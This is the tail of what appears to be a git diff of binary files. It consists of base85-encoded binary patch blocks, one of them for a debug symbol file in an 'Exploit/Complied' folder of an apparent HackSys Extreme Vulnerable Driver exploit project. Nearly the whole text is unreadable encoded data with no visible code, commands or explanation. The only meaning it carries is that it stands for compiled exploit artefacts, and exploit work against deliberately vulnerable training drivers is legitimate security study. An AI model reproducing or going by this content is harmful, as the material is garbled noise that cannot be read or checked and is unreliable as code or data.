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 literal 26624 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 OV+8&&0{`zv;C}&Z44=#Z diff --git a/Exploit/Complied/HackSysEVDExploit.pdb b/Exploit/Complied/HackSysEVDExploit.pdb index bd4f50724cec715cba86b8d7c726906d1744e8d2..aa79ad1e18bc871148bdc2bf8db68e93be093a46 100644 GIT binary patch literal 363520 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 